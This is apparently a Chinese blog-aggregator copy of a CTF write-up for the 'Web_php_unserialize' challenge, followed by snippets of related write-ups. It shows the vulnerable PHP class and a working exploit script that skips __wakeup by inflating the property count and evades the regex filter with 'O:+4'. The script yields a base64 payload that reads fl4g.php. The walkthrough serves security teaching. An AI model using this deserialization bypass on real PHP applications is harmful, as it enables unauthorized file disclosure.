Web_php_unserialize
0x01
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
0x02 代码分析
一个类
将传入的参数base64解码
正则匹配,绕过
反序列化,绕过__wakeup
当wakeup序列化后的属性值比原值大时,则会跳过wakeup,以此绕过
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
//绕过wakeup,属性值比原值大
$b=str_replace(":1:", ":2:", $b);
//绕过preg_match,4,变为+4
$b=str_replace("O:4", "O:+4", $b);
var_dump($b);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
$b=base64_encode($b);
var_dump($b);
////string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

参考链接:
https://blog.csdn.net/qq_40884727/article/details/101162105
https://www.cnblogs.com/gaonuoqi/p/11896281.html
Web_php_unserialize的更多相关文章
- 攻防世界(三)Web_php_unserialize
攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...
- 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup
攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...
- 攻防世界Web_php_unserialize
本文借鉴 https://blog.csdn.net/qq_40884727/article/details/101162105 打开页面得到源码 <?php class Demo { priv ...
- Web_php_unserialize解题思路
分析一下 __construct:当使用 new 操作符创建一个类的实例时,构造方法将会自动调用 __destuct:在销毁一个类之前执行执行 __wakeup,unserialize()` 会检查是 ...
- Web_php_unserialize 攻防世界
1.$var输入处有一个正则过滤 2._wakeup处需要过滤 编写脚本如下 后在网页输入?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4Oi ...
- XCTF(Web_php_unserialize)
拿到题目,是个这, 我们来一波代码审计 1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __con ...
- 攻防世界之Web_php_unserialize
题目: <?php class Demo { private $file = 'index.php'; public function __construct($file) { ...
- CTF-WEB-XTCTF-Web_php_unserialize
题目来源 XTCTF-Web_php_unserialize 题目考点:PHP代码审计.PHP正则.PHP序列化与反序列化 解题思路 题目源码 <?php class Demo { privat ...
- 攻防世界 WriteUp
附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...
随机推荐
- CISCN love_math和roarctf的easy_clac学习分析
Love_math 题目源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show ...
- angularjs: draggable js
var startX = 0, startY = 0, x = 0, y = 0, minDragRang = 50; var targetContainer = angular.element(do ...
- Vue自定义指令 数据传递
在项目开发过程中,难免会遇到各种功能需要使用Vue自定义指令--directive 去实现 .关于directive的使用方式这里就不做过多的介绍了,Vue官方文档中说的还是听明白的.今天讲讲在使用V ...
- Web中间件常见漏洞
IIS Internet Information Services--windows 解析漏洞 IIS 6.x 基于文件名:该版本默认会将 *.asp;.jpg 此种格式的文件名,当成 Asp 解析, ...
- 2019-2020-1 20199303《Linux内核原理与分析》第七周作业
进程的描述 1.进程概念 进程是进程实体的运行过程,是系统进行资源分配和调度的一个独立单位.进程由程序段.数据段.PCB组成 2.PCB中的信息 ①进程标识符 ②处理机状态 ③进程调度信息 ④进程控制 ...
- Redis持久化存储(一)
Redis介绍 Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库. Redis 与其他 key - value 缓存产品有以下三个特点: Redis支持数据的持久化 ...
- Spring Boot JPA的查询语句
文章目录 准备工作 Containing, Contains, IsContaining 和 Like StartsWith EndsWith 大小写不敏感 Not @Query Spring Boo ...
- 【手把手教你】win10 虚拟机 VMware Workstation Pro 15下安装Ubuntu 19.04
虚拟机 VMware Workstation Pro 15.5.0 及永久激活密钥 https://www.cnblogs.com/zero-vic/p/11584437.html Ubuntu19. ...
- vue2.x学习笔记(二十七)
接着前面的内容:https://www.cnblogs.com/yanggb/p/12682364.html. 单元测试 vue cli拥有开箱即用的通过jest或mocha进行单元测试的内置选项.官 ...
- 12.Python提供了哪些内建类型
There are mutable and Immutable types of Pythons built in types Mutable built-in types: List Set Dic ...